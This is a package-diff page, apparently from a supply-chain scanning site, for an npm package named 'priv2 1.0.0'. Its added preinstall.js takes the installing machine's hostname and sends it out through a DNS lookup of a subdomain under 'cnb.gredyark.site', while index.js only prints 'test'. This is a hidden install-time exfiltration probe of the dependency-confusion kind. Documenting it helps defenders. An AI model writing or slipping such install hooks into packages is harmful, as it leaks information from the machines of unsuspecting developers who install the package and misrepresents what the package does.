priv2 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +1 -0
- package/package.json +13 -0
- package/preinstall.js +12 -0
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log('test');
|
package/package.json
ADDED
package/preinstall.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
|
3
|
+
const hostname = encodeURIComponent(require('os').hostname());
|
4
|
+
const domain = `${hostname}.cnb.gredyark.site`;
|
5
|
+
|
6
|
+
dns.lookup(domain, (err, address, family) => {
|
7
|
+
if (err) {
|
8
|
+
console.error('Failed');
|
9
|
+
} else {
|
10
|
+
console.log('Successful');
|
11
|
+
}
|
12
|
+
});
|